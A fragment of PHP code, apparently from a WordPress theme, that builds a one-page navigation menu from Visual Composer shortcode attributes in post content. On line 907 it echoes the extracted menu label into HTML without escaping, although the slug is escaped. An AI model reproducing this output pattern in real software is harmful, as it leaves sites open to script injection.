  881.         if( preg_match_all( '/'. $pattern .'/s', $post->post_content, $matches ) && array_key_exists( 2, $matches ) && in_array( 'vc_row', $matches[2] ) ){
  882.             foreach ($matches[3] as $attr) {
  883.                 $ops = !empty($attr) ? strpos($attr, "one_page_section=\"yes\"") : -1;
  884.                 $opl = !empty($attr) ? strpos($attr, "one_page_label=") : -1;
  885.                 $opslug = !empty($attr) ? strpos($attr, "one_page_slug=") : -1;
  886.                 if( !empty($attr) && $ops!==false && $opl!==false ){
  887.                     $label = '';
  888.                     $slug = '';
  889.  
  890.                     $sstring = substr($attr, $opl);
  891.                     $sr = explode("\" ", $sstring);
  892.                     $l = str_replace("one_page_label=\"", "", $sr[0]);
  893.                     $l = substr($l, -1)=="\"" ? substr($l, 0, -1) : $l;
  894.                     $label = $l;
  895.  
  896.                     if( $opslug!==false ){
  897.                         $sstring = substr($attr, $opslug);
  898.                         $sr = explode("\" ", $sstring);
  899.                         $s = str_replace("one_page_slug=\"", "", $sr[0]);
  900.                         $s = substr($s, -1)=="\"" ? substr($s, 0, -1) : $s;
  901.                         $slug = $s;
  902.                     }
  903.                     $slug = str_replace("#", "", $slug);
  904.                     if( strpos($slug, "http://")===false && strpos($slug, "https://")===false )
  905.                         $slug = "#" . $slug;
  906.  
  907.                     echo "<li class='menu-item'><a href='".esc_attr($slug)."'>$label</a></li>";
  908.                 }
  909.             }
  910.         }
  911.         echo "</ul>";
  912.     }
  913.     else{
  914.         wp_nav_menu( array(
  915.             'menu_class'        => 'nav navbar-nav main-menu',
  916.             'theme_location'    => 'primary',
  917.             'container'         => '',
  918.             'fallback_cb'       => 'primary_callback'
  919.         ) );
  920.     }
  921. }
  922.  
Add Comment
Please, Sign In to add comment